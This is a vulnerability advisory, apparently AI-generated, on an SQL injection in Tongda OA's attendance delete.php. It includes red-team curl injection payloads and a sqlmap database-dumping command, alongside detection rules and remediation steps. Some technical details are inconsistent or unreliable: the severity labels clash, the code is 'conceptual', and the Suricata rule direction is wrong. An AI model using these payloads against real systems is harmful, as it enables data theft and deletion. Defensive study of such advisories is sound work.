CVE-2024-1252

Executive Summary

CVE-2024-1252 is a critical SQL injection vulnerability discovered in Tongda OA 2017, affecting versions up to 11.9. The flaw resides in the /general/attendance/manage/ask_duty/delete.php file, where the ASK_DUTY_ID parameter is not properly sanitized before being used in a SQL query. This allows an authenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The vulnerability has been publicly disclosed, and while the EPSS score is currently 0.0%, the public availability of exploit details increases the risk of active exploitation. The vendor recommends upgrading to version 11.10 to remediate the issue.

CVSS Breakdown & Threat Level

• CVSS Score: 5.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): Low – An attacker needs valid credentials to access the vulnerable endpoint.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The exploitation does not affect other components.
• Confidentiality (C): Low – Limited data exposure is possible.
• Integrity (I): Low – Limited data modification is possible.
• Availability (A): Low – Limited service disruption is possible.

Threat Level: Medium. While the CVSS score is moderate, the public availability of exploit details and the potential for data exfiltration or manipulation elevate the risk.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the delete.php script of Tongda OA's attendance management module. The script accepts a parameter ASK_DUTY_ID via GET or POST request and directly concatenates it into a SQL DELETE query without proper sanitization or parameterization.

Vulnerable Code Snippet (Conceptual):

$ask_duty_id = $_REQUEST['ASK_DUTY_ID'];
$sql = "DELETE FROM ask_duty WHERE id = " . $ask_duty_id;
$result = mysqli_query($conn, $sql);

An attacker can manipulate the ASK_DUTY_ID parameter to inject SQL commands. For example:

ASK_DUTY_ID=1 OR 1=1

This would result in the deletion of all records in the ask_duty table.

Exploitation Impact:

• Data Exfiltration: Using UNION-based SQL injection, an attacker can extract sensitive data from other tables.
• Data Manipulation: Attackers can modify or delete records, potentially disrupting business operations.
• Privilege Escalation: In some configurations, SQL injection can be leveraged to gain administrative access.

Vulnerable vs. Patched Code

Vulnerable Code (Tongda OA <= 11.9):

$ask_duty_id = $_REQUEST['ASK_DUTY_ID'];
$sql = "DELETE FROM ask_duty WHERE id = " . $ask_duty_id;
$result = mysqli_query($conn, $sql);

Patched Code (Tongda OA 11.10):

$ask_duty_id = intval($_REQUEST['ASK_DUTY_ID']);
$sql = "DELETE FROM ask_duty WHERE id = " . $ask_duty_id;
$result = mysqli_query($conn, $sql);

The patch uses intval() to cast the input to an integer, effectively neutralizing SQL injection attempts. However, parameterized queries or prepared statements would be a more robust solution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Tongda OA 2017 instance (version <= 11.9).
• Valid user credentials (low-privileged account).

Exploitation Steps:

1. Identify the vulnerable endpoint:

   http://target/general/attendance/manage/ask_duty/delete.php
   

2. Craft a malicious request to test for SQL injection:

   curl -X POST "http://target/general/attendance/manage/ask_duty/delete.php" \
   -d "ASK_DUTY_ID=1' OR '1'='1"
   

3. Extract data using UNION-based injection:

   curl -X POST "http://target/general/attendance/manage/ask_duty/delete.php" \
   -d "ASK_DUTY_ID=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
   

4. Automated exploitation with sqlmap:

   sqlmap -u "http://target/general/attendance/manage/ask_duty/delete.php" \
   --data="ASK_DUTY_ID=1" --cookie="PHPSESSID=your_session_id" \
   --batch --dbs
   

Expected Outcome: Successful extraction of database contents, including user credentials and sensitive business data.

Blue Team

Detection and Response:

1. Monitor for anomalous requests to /general/attendance/manage/ask_duty/delete.php:

   • Look for requests containing SQL keywords (e.g., UNION, SELECT, OR 1=1).
   • Alert on requests with unusual parameter lengths or patterns.

2. Review database logs for suspicious queries:

   • Check for DELETE statements with appended conditions.
   • Monitor for unexpected data access patterns.

3. Implement Web Application Firewall (WAF) rules:

   • Block requests containing SQL injection patterns in the ASK_DUTY_ID parameter.
   • Rate-limit requests to the vulnerable endpoint.

4. Conduct forensic analysis:

   • Examine web server logs for exploitation attempts.
   • Check database logs for unauthorized data access or modification.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /general/attendance/manage/ask_duty/delete.php with suspicious parameters.
• Requests containing SQL keywords in the ASK_DUTY_ID parameter.

File IOCs:

• Modified or deleted records in the ask_duty table.
• Unexpected entries in web server logs (e.g., error.log, access.log).

System IOCs:

• Unusual database queries (e.g., UNION SELECT statements).
• Elevated privileges or new user accounts created in the database.

Detection Engineering

YARA Rule

rule CVE_2024_1252_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-1252 in Tongda OA"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1252"
    strings:
        $suspicious_param = "ASK_DUTY_ID"
        $sql_keyword1 = "UNION" nocase
        $sql_keyword2 = "SELECT" nocase
        $sql_keyword3 = "OR 1=1" nocase
        $sql_keyword4 = "DROP" nocase
        $sql_keyword5 = "DELETE" nocase
    condition:
        $suspicious_param and any of ($sql_keyword*)
}

Sigma Rule

title: CVE-2024-1252 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the ASK_DUTY_ID parameter in Tongda OA
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1252
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/general/attendance/manage/ask_duty/delete.php'
        cs-uri-query|contains: 'ASK_DUTY_ID'
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'OR 1=1'
        - 'DROP'
        - 'DELETE'
    condition: selection and keywords
falsepositives:
    - Legitimate use of SQL keywords in parameter values (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-1252 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/general/attendance/manage/ask_duty/delete.php";
    http_uri;
    content:"ASK_DUTY_ID";
    http_client_body;
    pcre:"/(UNION|SELECT|OR\s+1=1|DROP|DELETE)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-1252;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Tongda OA to version 11.10 or later. This is the official patch provided by the vendor.
2. If immediate upgrade is not possible, apply a virtual patch:
   • Implement a WAF rule to block SQL injection patterns in the ASK_DUTY_ID parameter.
   • Restrict access to the vulnerable endpoint to trusted IP addresses only.

Long-term Recommendations:

1. Adopt secure coding practices:
   • Use parameterized queries or prepared statements for all database interactions.
   • Validate and sanitize all user inputs, especially those used in SQL queries.
2. Conduct regular security audits:
   • Perform code reviews and penetration testing on critical modules.
   • Monitor for new vulnerabilities in Tongda OA and other third-party components.
3. Implement defense-in-depth:
   • Deploy a WAF and intrusion detection system (IDS).
   • Enable detailed logging and monitoring for web applications.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further analysis or remediation support, contact Valters IT.